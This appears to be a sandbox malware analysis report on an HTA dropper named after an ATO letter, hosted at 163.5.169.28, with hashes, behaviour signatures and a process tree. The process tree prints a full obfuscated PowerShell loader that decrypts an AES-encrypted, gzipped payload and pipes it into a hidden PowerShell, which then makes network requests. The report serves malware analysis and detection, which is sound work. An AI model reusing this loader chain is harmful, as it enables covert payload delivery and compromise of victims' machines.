Overview
overview
10Static
static
10163.5.169....r2.hta
windows7-x64
8163.5.169....r2.hta
windows10-2004-x64
8163.5.169....r2.pdf
windows7-x64
3163.5.169....r2.pdf
windows10-2004-x64
3163.5.169....r3.hta
windows7-x64
8163.5.169....r3.hta
windows10-2004-x64
8163.5.169....r3.pdf
windows7-x64
3163.5.169....r3.pdf
windows10-2004-x64
3163.5.169....r4.hta
windows7-x64
8163.5.169....r4.hta
windows10-2004-x64
8163.5.169....r4.pdf
windows7-x64
3163.5.169....r4.pdf
windows10-2004-x64
3163.5.169....r5.hta
windows7-x64
8163.5.169....r5.hta
windows10-2004-x64
8163.5.169....r5.pdf
windows7-x64
3163.5.169....r5.pdf
windows10-2004-x64
3163.5.169....r2.hta
windows7-x64
8163.5.169....r2.hta
windows10-2004-x64
8163.5.169....er.hta
windows7-x64
8163.5.169....er.hta
windows10-2004-x64
8163.5.169....r2.hta
windows7-x64
8163.5.169....r2.hta
windows10-2004-x64
8163.5.169.28/cmd.exe
windows10-2004-x64
1163.5.169.28/cmt.exe
windows7-x64
3163.5.169.28/cmt.exe
windows10-2004-x64
3163.5.169.28/fd1.exe
windows7-x64
10163.5.169.28/fd1.exe
windows10-2004-x64
10163.5.169....er.hta
windows7-x64
8163.5.169....er.hta
windows10-2004-x64
8163.5.169....r2.hta
windows7-x64
8163.5.169....r2.hta
windows10-2004-x64
8163.5.169....r4.hta
windows7-x64
8Resubmissions
21-01-2025 13:39
250121-qx27kswrck 1021-01-2025 11:57
250121-n4kvrsskfv 1021-01-2025 11:43
250121-nvpglaslfq 1021-01-2025 11:26
250121-njtbea1qcp 10Analysis
-
max time kernel
147s -
max time network
153s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
21-01-2025 11:26
Behavioral task
behavioral1
Sample
163.5.169.28/SCAN-atoletter2.hta
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
163.5.169.28/SCAN-atoletter2.hta
Resource
win10v2004-20241007-en
Behavioral task
behavioral3
Sample
163.5.169.28/SCAN-atoletter2.pdf
Resource
win7-20241010-en
Behavioral task
behavioral4
Sample
163.5.169.28/SCAN-atoletter2.pdf
Resource
win10v2004-20241007-en
Behavioral task
behavioral5
Sample
163.5.169.28/SCAN-atoletter3.hta
Resource
win7-20240903-en
Behavioral task
behavioral6
Sample
163.5.169.28/SCAN-atoletter3.hta
Resource
win10v2004-20241007-en
Behavioral task
behavioral7
Sample
163.5.169.28/SCAN-atoletter3.pdf
Resource
win7-20240729-en
Behavioral task
behavioral8
Sample
163.5.169.28/SCAN-atoletter3.pdf
Resource
win10v2004-20241007-en
Behavioral task
behavioral9
Sample
163.5.169.28/SCAN-atoletter4.hta
Resource
win7-20240903-en
Behavioral task
behavioral10
Sample
163.5.169.28/SCAN-atoletter4.hta
Resource
win10v2004-20241007-en
Behavioral task
behavioral11
Sample
163.5.169.28/SCAN-atoletter4.pdf
Resource
win7-20240903-en
Behavioral task
behavioral12
Sample
163.5.169.28/SCAN-atoletter4.pdf
Resource
win10v2004-20241007-en
Behavioral task
behavioral13
Sample
163.5.169.28/SCAN-atoletter5.hta
Resource
win7-20240903-en
Behavioral task
behavioral14
Sample
163.5.169.28/SCAN-atoletter5.hta
Resource
win10v2004-20241007-en
Behavioral task
behavioral15
Sample
163.5.169.28/SCAN-atoletter5.pdf
Resource
win7-20240903-en
Behavioral task
behavioral16
Sample
163.5.169.28/SCAN-atoletter5.pdf
Resource
win10v2004-20241007-en
Behavioral task
behavioral17
Sample
163.5.169.28/ato_letter2.hta
Resource
win7-20240729-en
Behavioral task
behavioral18
Sample
163.5.169.28/ato_letter2.hta
Resource
win10v2004-20241007-en
Behavioral task
behavioral19
Sample
163.5.169.28/atoletter.hta
Resource
win7-20241010-en
Behavioral task
behavioral20
Sample
163.5.169.28/atoletter.hta
Resource
win10v2004-20241007-en
Behavioral task
behavioral21
Sample
163.5.169.28/atoletter2.hta
Resource
win7-20240729-en
Behavioral task
behavioral22
Sample
163.5.169.28/atoletter2.hta
Resource
win10v2004-20241007-en
Behavioral task
behavioral23
Sample
163.5.169.28/cmd.exe
Resource
win10v2004-20241007-en
Behavioral task
behavioral24
Sample
163.5.169.28/cmt.exe
Resource
win7-20240903-en
Behavioral task
behavioral25
Sample
163.5.169.28/cmt.exe
Resource
win10v2004-20241007-en
Behavioral task
behavioral26
Sample
163.5.169.28/fd1.exe
Resource
win7-20240903-en
Behavioral task
behavioral27
Sample
163.5.169.28/fd1.exe
Resource
win10v2004-20241007-en
Behavioral task
behavioral28
Sample
163.5.169.28/letter.hta
Resource
win7-20240903-en
Behavioral task
behavioral29
Sample
163.5.169.28/letter.hta
Resource
win10v2004-20241007-en
Behavioral task
behavioral30
Sample
163.5.169.28/letter2.hta
Resource
win7-20241010-en
Behavioral task
behavioral31
Sample
163.5.169.28/letter2.hta
Resource
win10v2004-20241007-en
General
-
Target
163.5.169.28/SCAN-atoletter3.hta
-
Size
1.1MB
-
MD5
65a82ba108814502f8de8f9c918c1637
-
SHA1
81bb281aff6d485787f79558b2433a529af5d53b
-
SHA256
dceca8e7f6baca5bd3417c0e05a1e9e934a0c72fe36c79fd3aca451ea2168d76
-
SHA512
477a94c061e96c5b8cdc256e746eb9dbd57339c93bcbd90bb66e2b6d21a7ff9e35b3b0ac7eac7a4c2b308306b06178060c38bce1470f5d94af32d07a97ce2621
-
SSDEEP
1536:MUQr+podgEt/pvBYwPBONWBImr/l1vcmafSIm+lIWFWY7Cy5h7OIxeZeDG52VP+q:ArooW8vhXBHuV
Malware Config
Signatures
-
Blocklisted process makes network request 2 IoCs
flow pid Process 13 3008 powershell.exe 22 3008 powershell.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
pid Process 4004 powershell.exe 4860 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\Control Panel\International\Geo\Nation mshta.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
System Location Discovery: System Language Discovery 1 TTPs 5 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language mshta.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe -
Suspicious behavior: EnumeratesProcesses 6 IoCs
pid Process 4004 powershell.exe 4004 powershell.exe 3008 powershell.exe 4860 powershell.exe 4860 powershell.exe 3008 powershell.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 4004 powershell.exe Token: SeDebugPrivilege 3008 powershell.exe Token: SeDebugPrivilege 4860 powershell.exe Token: SeIncreaseQuotaPrivilege 3008 powershell.exe Token: SeSecurityPrivilege 3008 powershell.exe Token: SeTakeOwnershipPrivilege 3008 powershell.exe Token: SeLoadDriverPrivilege 3008 powershell.exe Token: SeSystemProfilePrivilege 3008 powershell.exe Token: SeSystemtimePrivilege 3008 powershell.exe Token: SeProfSingleProcessPrivilege 3008 powershell.exe Token: SeIncBasePriorityPrivilege 3008 powershell.exe Token: SeCreatePagefilePrivilege 3008 powershell.exe Token: SeBackupPrivilege 3008 powershell.exe Token: SeRestorePrivilege 3008 powershell.exe Token: SeShutdownPrivilege 3008 powershell.exe Token: SeDebugPrivilege 3008 powershell.exe Token: SeSystemEnvironmentPrivilege 3008 powershell.exe Token: SeRemoteShutdownPrivilege 3008 powershell.exe Token: SeUndockPrivilege 3008 powershell.exe Token: SeManageVolumePrivilege 3008 powershell.exe Token: 33 3008 powershell.exe Token: 34 3008 powershell.exe Token: 35 3008 powershell.exe Token: 36 3008 powershell.exe Token: SeIncreaseQuotaPrivilege 3008 powershell.exe Token: SeSecurityPrivilege 3008 powershell.exe Token: SeTakeOwnershipPrivilege 3008 powershell.exe Token: SeLoadDriverPrivilege 3008 powershell.exe Token: SeSystemProfilePrivilege 3008 powershell.exe Token: SeSystemtimePrivilege 3008 powershell.exe Token: SeProfSingleProcessPrivilege 3008 powershell.exe Token: SeIncBasePriorityPrivilege 3008 powershell.exe Token: SeCreatePagefilePrivilege 3008 powershell.exe Token: SeBackupPrivilege 3008 powershell.exe Token: SeRestorePrivilege 3008 powershell.exe Token: SeShutdownPrivilege 3008 powershell.exe Token: SeDebugPrivilege 3008 powershell.exe Token: SeSystemEnvironmentPrivilege 3008 powershell.exe Token: SeRemoteShutdownPrivilege 3008 powershell.exe Token: SeUndockPrivilege 3008 powershell.exe Token: SeManageVolumePrivilege 3008 powershell.exe Token: 33 3008 powershell.exe Token: 34 3008 powershell.exe Token: 35 3008 powershell.exe Token: 36 3008 powershell.exe Token: SeIncreaseQuotaPrivilege 3008 powershell.exe Token: SeSecurityPrivilege 3008 powershell.exe Token: SeTakeOwnershipPrivilege 3008 powershell.exe Token: SeLoadDriverPrivilege 3008 powershell.exe Token: SeSystemProfilePrivilege 3008 powershell.exe Token: SeSystemtimePrivilege 3008 powershell.exe Token: SeProfSingleProcessPrivilege 3008 powershell.exe Token: SeIncBasePriorityPrivilege 3008 powershell.exe Token: SeCreatePagefilePrivilege 3008 powershell.exe Token: SeBackupPrivilege 3008 powershell.exe Token: SeRestorePrivilege 3008 powershell.exe Token: SeShutdownPrivilege 3008 powershell.exe Token: SeDebugPrivilege 3008 powershell.exe Token: SeSystemEnvironmentPrivilege 3008 powershell.exe Token: SeRemoteShutdownPrivilege 3008 powershell.exe Token: SeUndockPrivilege 3008 powershell.exe Token: SeManageVolumePrivilege 3008 powershell.exe Token: 33 3008 powershell.exe Token: 34 3008 powershell.exe -
Suspicious use of WriteProcessMemory 12 IoCs
description pid Process procid_target PID 2164 wrote to memory of 4004 2164 mshta.exe 82 PID 2164 wrote to memory of 4004 2164 mshta.exe 82 PID 2164 wrote to memory of 4004 2164 mshta.exe 82 PID 4004 wrote to memory of 3096 4004 powershell.exe 84 PID 4004 wrote to memory of 3096 4004 powershell.exe 84 PID 4004 wrote to memory of 3096 4004 powershell.exe 84 PID 3096 wrote to memory of 4860 3096 cmd.exe 86 PID 3096 wrote to memory of 4860 3096 cmd.exe 86 PID 3096 wrote to memory of 4860 3096 cmd.exe 86 PID 3096 wrote to memory of 3008 3096 cmd.exe 87 PID 3096 wrote to memory of 3008 3096 cmd.exe 87 PID 3096 wrote to memory of 3008 3096 cmd.exe 87
Processes
-
C:\Windows\SysWOW64\mshta.exeC:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\163.5.169.28\SCAN-atoletter3.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2164 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted Start-Process 'cmd.exe' -WindowStyle hidden -ArgumentList {/c powershell.exe $QSAxJ = 'AAAAAAAAAAAAAAAAAAAAAEVCYhPxkB9Pvx13+D7sCkBIDkr/feJ+8IkDwxt6lYAby98BRZWUsDSmh+zJoRSO27WxlPC5j1pEXBpEQHGBXBIfgGKgMuMJSwct1pdT4AmRUFHKG7fMfWuR6jXRm98nBkQPaj7xcpD6nSLM/CZv3BgGUsqLSMnprxvqVKcLMUrx1+ZAMT+68gclz0g6bY0UPkizERpnjhJLs0ggWsiy32ddEKBk19nSMLfyQ19JBq74ZMpOVfFxLMTIWB/8kDMnzLxRAYLnQfM/hhNVOqe0N0AfZxP9SRmAHkqgPL3ItS786b1Z7KsDisFoPJJQNCsXRkY4Gq0IKrTS/0oGkB82DsRWDHsEmfIN2I6DZMZvJ0Lp47fV10aoX2YRVTQRP/dkvLhC76+b02EZearv985N0xBkxWR/4qRhtVq77owCZik6gvMxNceqPC+EukG5NbPM9YVlQADzyrZDtOKGtFBaod14dnB9TqC0Gu4Gx9zQag7iEXZemYdl4RtgUbrgtgvCxK4osRFXyZV6zfsxnBMbjU95oNFJb3JklaF4yIQuK6hSSKYnGPo6PSpmzvGg3M9W5RyWc/SNDVkGcvMZJBEIfNyVsNeUYrQxJB/H7qb8LXhrCcFFR8VW/De98AHkYeKR/plZsLa7oUtgq7H+O9/bciv64Hs2FEO3bru8eosZVhr9GSbDDAzWFuv8QHlxeU7rjR+kYL7bTJHsg91dezbRSjTBymg70B6z+HL7NI7Botdke+29khbtYwuOwkgPOZytR/YdiXPaR5YssB3kEewbuOW4P1REffWdAuf6aD+VhBoQj9OVE0RAbv87AOgokGxiGLx+fA4wToU4o/AM5uY4zOndxaIwaIdxNjR5PenhntENqzRD8VSIDtBhIIDqPoauUr1WFmYsHowo9UT82q9VSXE1ozMSKP3DgFjrXo+K0cJAquGd5LZFl5jAjIbOF6OEa6aab2SSlPuGKsw+1JQ+31bXx+g2PCrIwVfvomyzrO5Y0bm6VuCAp8PwQSglQnRFLA==';$CYVFUMU = 'U3l4ZnltaHVrRlhBSERMSklOa29VclVpQlVvT3VpSmQ=';$WjkWJHlT = New-Object 'System.Security.Cryptography.AesManaged';$WjkWJHlT.Mode = [System.Security.Cryptography.CipherMode]::ECB;$WjkWJHlT.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$WjkWJHlT.BlockSize = 128;$WjkWJHlT.KeySize = 256;$WjkWJHlT.Key = [System.Convert]::FromBase64String($CYVFUMU);$vCffd = [System.Convert]::FromBase64String($QSAxJ);$KujCHXfb = $vCffd[0..15];$WjkWJHlT.IV = $KujCHXfb;$lsWWLMmAD = $WjkWJHlT.CreateDecryptor();$MVpgCwqji = $lsWWLMmAD.TransformFinalBlock($vCffd, 16, $vCffd.Length - 16);$WjkWJHlT.Dispose();$Vixp = New-Object System.IO.MemoryStream( , $MVpgCwqji );$lXxkNy = New-Object System.IO.MemoryStream;$StnaluuLT = New-Object System.IO.Compression.GzipStream $Vixp, ([IO.Compression.CompressionMode]::Decompress);$StnaluuLT.CopyTo( $lXxkNy );$StnaluuLT.Close();$Vixp.Close();[byte[]] $qIJwjSw = $lXxkNy.ToArray();$lwnIytSZ = [System.Text.Encoding]::UTF8.GetString($qIJwjSw);$lwnIytSZ | powershell - }2⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4004 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c powershell.exe $QSAxJ = 'AAAAAAAAAAAAAAAAAAAAAEVCYhPxkB9Pvx13+D7sCkBIDkr/feJ+8IkDwxt6lYAby98BRZWUsDSmh+zJoRSO27WxlPC5j1pEXBpEQHGBXBIfgGKgMuMJSwct1pdT4AmRUFHKG7fMfWuR6jXRm98nBkQPaj7xcpD6nSLM/CZv3BgGUsqLSMnprxvqVKcLMUrx1+ZAMT+68gclz0g6bY0UPkizERpnjhJLs0ggWsiy32ddEKBk19nSMLfyQ19JBq74ZMpOVfFxLMTIWB/8kDMnzLxRAYLnQfM/hhNVOqe0N0AfZxP9SRmAHkqgPL3ItS786b1Z7KsDisFoPJJQNCsXRkY4Gq0IKrTS/0oGkB82DsRWDHsEmfIN2I6DZMZvJ0Lp47fV10aoX2YRVTQRP/dkvLhC76+b02EZearv985N0xBkxWR/4qRhtVq77owCZik6gvMxNceqPC+EukG5NbPM9YVlQADzyrZDtOKGtFBaod14dnB9TqC0Gu4Gx9zQag7iEXZemYdl4RtgUbrgtgvCxK4osRFXyZV6zfsxnBMbjU95oNFJb3JklaF4yIQuK6hSSKYnGPo6PSpmzvGg3M9W5RyWc/SNDVkGcvMZJBEIfNyVsNeUYrQxJB/H7qb8LXhrCcFFR8VW/De98AHkYeKR/plZsLa7oUtgq7H+O9/bciv64Hs2FEO3bru8eosZVhr9GSbDDAzWFuv8QHlxeU7rjR+kYL7bTJHsg91dezbRSjTBymg70B6z+HL7NI7Botdke+29khbtYwuOwkgPOZytR/YdiXPaR5YssB3kEewbuOW4P1REffWdAuf6aD+VhBoQj9OVE0RAbv87AOgokGxiGLx+fA4wToU4o/AM5uY4zOndxaIwaIdxNjR5PenhntENqzRD8VSIDtBhIIDqPoauUr1WFmYsHowo9UT82q9VSXE1ozMSKP3DgFjrXo+K0cJAquGd5LZFl5jAjIbOF6OEa6aab2SSlPuGKsw+1JQ+31bXx+g2PCrIwVfvomyzrO5Y0bm6VuCAp8PwQSglQnRFLA==';$CYVFUMU = 'U3l4ZnltaHVrRlhBSERMSklOa29VclVpQlVvT3VpSmQ=';$WjkWJHlT = New-Object 'System.Security.Cryptography.AesManaged';$WjkWJHlT.Mode = [System.Security.Cryptography.CipherMode]::ECB;$WjkWJHlT.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$WjkWJHlT.BlockSize = 128;$WjkWJHlT.KeySize = 256;$WjkWJHlT.Key = [System.Convert]::FromBase64String($CYVFUMU);$vCffd = [System.Convert]::FromBase64String($QSAxJ);$KujCHXfb = $vCffd[0..15];$WjkWJHlT.IV = $KujCHXfb;$lsWWLMmAD = $WjkWJHlT.CreateDecryptor();$MVpgCwqji = $lsWWLMmAD.TransformFinalBlock($vCffd, 16, $vCffd.Length - 16);$WjkWJHlT.Dispose();$Vixp = New-Object System.IO.MemoryStream( , $MVpgCwqji );$lXxkNy = New-Object System.IO.MemoryStream;$StnaluuLT = New-Object System.IO.Compression.GzipStream $Vixp, ([IO.Compression.CompressionMode]::Decompress);$StnaluuLT.CopyTo( $lXxkNy );$StnaluuLT.Close();$Vixp.Close();[byte[]] $qIJwjSw = $lXxkNy.ToArray();$lwnIytSZ = [System.Text.Encoding]::UTF8.GetString($qIJwjSw);$lwnIytSZ | powershell -3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3096 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe $QSAxJ = 'AAAAAAAAAAAAAAAAAAAAAEVCYhPxkB9Pvx13+D7sCkBIDkr/feJ+8IkDwxt6lYAby98BRZWUsDSmh+zJoRSO27WxlPC5j1pEXBpEQHGBXBIfgGKgMuMJSwct1pdT4AmRUFHKG7fMfWuR6jXRm98nBkQPaj7xcpD6nSLM/CZv3BgGUsqLSMnprxvqVKcLMUrx1+ZAMT+68gclz0g6bY0UPkizERpnjhJLs0ggWsiy32ddEKBk19nSMLfyQ19JBq74ZMpOVfFxLMTIWB/8kDMnzLxRAYLnQfM/hhNVOqe0N0AfZxP9SRmAHkqgPL3ItS786b1Z7KsDisFoPJJQNCsXRkY4Gq0IKrTS/0oGkB82DsRWDHsEmfIN2I6DZMZvJ0Lp47fV10aoX2YRVTQRP/dkvLhC76+b02EZearv985N0xBkxWR/4qRhtVq77owCZik6gvMxNceqPC+EukG5NbPM9YVlQADzyrZDtOKGtFBaod14dnB9TqC0Gu4Gx9zQag7iEXZemYdl4RtgUbrgtgvCxK4osRFXyZV6zfsxnBMbjU95oNFJb3JklaF4yIQuK6hSSKYnGPo6PSpmzvGg3M9W5RyWc/SNDVkGcvMZJBEIfNyVsNeUYrQxJB/H7qb8LXhrCcFFR8VW/De98AHkYeKR/plZsLa7oUtgq7H+O9/bciv64Hs2FEO3bru8eosZVhr9GSbDDAzWFuv8QHlxeU7rjR+kYL7bTJHsg91dezbRSjTBymg70B6z+HL7NI7Botdke+29khbtYwuOwkgPOZytR/YdiXPaR5YssB3kEewbuOW4P1REffWdAuf6aD+VhBoQj9OVE0RAbv87AOgokGxiGLx+fA4wToU4o/AM5uY4zOndxaIwaIdxNjR5PenhntENqzRD8VSIDtBhIIDqPoauUr1WFmYsHowo9UT82q9VSXE1ozMSKP3DgFjrXo+K0cJAquGd5LZFl5jAjIbOF6OEa6aab2SSlPuGKsw+1JQ+31bXx+g2PCrIwVfvomyzrO5Y0bm6VuCAp8PwQSglQnRFLA==';$CYVFUMU = 'U3l4ZnltaHVrRlhBSERMSklOa29VclVpQlVvT3VpSmQ=';$WjkWJHlT = New-Object 'System.Security.Cryptography.AesManaged';$WjkWJHlT.Mode = [System.Security.Cryptography.CipherMode]::ECB;$WjkWJHlT.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$WjkWJHlT.BlockSize = 128;$WjkWJHlT.KeySize = 256;$WjkWJHlT.Key = [System.Convert]::FromBase64String($CYVFUMU);$vCffd = [System.Convert]::FromBase64String($QSAxJ);$KujCHXfb = $vCffd[0..15];$WjkWJHlT.IV = $KujCHXfb;$lsWWLMmAD = $WjkWJHlT.CreateDecryptor();$MVpgCwqji = $lsWWLMmAD.TransformFinalBlock($vCffd, 16, $vCffd.Length - 16);$WjkWJHlT.Dispose();$Vixp = New-Object System.IO.MemoryStream( , $MVpgCwqji );$lXxkNy = New-Object System.IO.MemoryStream;$StnaluuLT = New-Object System.IO.Compression.GzipStream $Vixp, ([IO.Compression.CompressionMode]::Decompress);$StnaluuLT.CopyTo( $lXxkNy );$StnaluuLT.Close();$Vixp.Close();[byte[]] $qIJwjSw = $lXxkNy.ToArray();$lwnIytSZ = [System.Text.Encoding]::UTF8.GetString($qIJwjSw);$lwnIytSZ4⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4860
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -4⤵
- Blocklisted process makes network request
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3008
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
1KB
MD5def65711d78669d7f8e69313be4acf2e
SHA16522ebf1de09eeb981e270bd95114bc69a49cda6
SHA256aa1c97cdbce9a848f1db2ad483f19caa535b55a3a1ef2ad1260e0437002bc82c
SHA51205b2f9cd9bc3b46f52fded320b68e05f79b2b3ceaeb13e5d87ae9f8cd8e6c90bbb4ffa4da8192c2bfe0f58826cabff2e99e7c5cc8dd47037d4eb7bfc6f2710a7
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Filesize
15KB
MD5b3d5ca8f3d4c9de94fefbd0a19bc0b66
SHA1d434fd92b3000ce402e88776c9ac819f5c70828b
SHA2560d5b4b25f3bdc02af322256744947af7dde88e9f57943498ae05361cd5ecb113
SHA512b0487bf55d980d793d5450ee1c7961453c49ee25d56360ce3e60348ef9d722de8e738eb134f5305c51be212fe6f09e69118c66e5d797ecbcec6244a843993a05
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82